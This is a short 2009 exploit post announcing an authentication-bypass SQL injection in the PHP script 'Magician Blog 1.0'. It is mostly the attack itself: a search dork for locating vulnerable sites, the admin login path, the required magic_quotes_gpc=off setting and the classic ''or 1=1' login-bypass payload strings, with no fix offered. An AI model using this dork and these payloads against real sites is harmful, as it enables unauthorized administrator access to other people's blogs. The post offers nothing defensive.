Magician Blog <= 1.0 (Auth Bypass) SQL injection Vulnerability

2009-07-27 22:36:24

==============================================================================
_ _ _ _ _ _
/ \ | | | | / \ | | | |
/ _ \ | | | | / _ \ | |_| |
/ ___ \ | |___ | |___ / ___ \ | _ |
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|


==============================================================================
[»] ~ Note : Been Repoted The Programed
==============================================================================
[»] Magician Blog <= 1.0 (Auth Bypass) SQL injection Valunrability
==============================================================================

[»] Script: [ Magician v1.0 ]
[»] Language: [ PHP ]
[»] home: [ www.4smart.net ]
[»] Founder: [ Evil-Cod3r <[email protected] - [email protected]> ]
[»] Gr44tz to: [ Recru1t Qabandi - Sniper Code - Mr.SaFa7 - The g0bL!N - S4S-T3rr0ist ]
[»] Dork: [ "Powered By 4smart" ]
[»] Price: [ $300 But i Scanned The Nulled !! ]

###########################################################################

You Need magic_quotes_gpc = off

===[ Exploit SQL ]===

[»] http://www.Site.com/path/admin
[»] Exploit :
First : 'or 1=1 or ' & or & 'or 1=1/*


Author: Evil-Cod3r <-

###########################################################################

#

Fixes

No fixes

In order to submit a new fix you need to be registered.